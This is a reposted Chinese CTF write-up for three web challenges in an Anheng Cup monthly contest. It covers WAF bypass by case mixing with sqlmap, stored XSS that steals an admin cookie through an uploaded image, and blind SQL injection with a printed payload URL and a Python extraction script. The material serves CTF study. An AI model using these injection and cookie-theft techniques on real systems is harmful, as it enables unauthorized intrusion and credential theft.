安恒杯十一月比赛部分writeup

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安恒杯十一月比赛部分writeup相关的知识,希望对你有一定的参考价值。

Web1 绕过看门狗

简单尝试了一下,大小写绕过就可以。sqlmap直接加个randomcase.py的tamper即可,当然写脚本来跑也是可以的。

Web2   jshunt

打开链接,看到一个上传点和一个留言板。输入<img src=#onerror=alert(1)/>,提示“非法标签”,最后发现只能使用script。

之后把重点放在script,fuzz发现只能使用src属性,尝试包含js文件,提示“禁止包含js文件”。

包含外部js文件同样报错,同时观察返回包,发现使用了csp策略,包含外部js也是行不通了:

技术分享

别忘了我们还有一个可以上传的地方:

技术分享

上次带有js代码的图片,然后使用SRC加载文件,留言给管理员,返回信息提示代码是成功的,然后就能收cookie了。

Web3 babysql:

过滤了union,column_name,*。

http://www.wupco.cn/?p=3764参考了这里才找到了注入点。。

$sql = "desc `error_{$table}`";
$res = mysql_query($sql);
if(empty(mysql_fetch_array($res))){
    echo "<center>no table detail</center>";
    die();
}
$sql = "select * from error_${table} where id = $id";

 得知desc能判断table师傅存在,如果存在才会执行下一条语句。

payload:

http://114.55.36.69:20680/index.php?table=flag` `a%&id=3

 写个脚本跑:

#!/usr/bin/env
# -*- coding: utf-8 -*-
import requests as r
import string
r1=r.session()
s=string.printable
flag=""
for i in range(50):
  url="http://192.168.1.1/index.php?table=flag` `{0}%&id=3"
  for j in s:
    url2=url.format(str(flag+j))
    r2=r1.get(url2)
    if "SQL" in r2.text:
      flag+=j
      print flag
      break

以上是关于安恒杯十一月比赛部分writeup的主要内容,如果未能解决你的问题,请参考以下文章

安恒杯十一月月赛 MISC

CTF-安恒19年一月月赛部分writeup

安恒杯2月月赛-应该不是xss

安恒杯月赛babybypass 不用英文数字getshell

安恒杯月赛 babypass getshell不用英文字母和数字

CTF-安恒十二月月赛部分writeup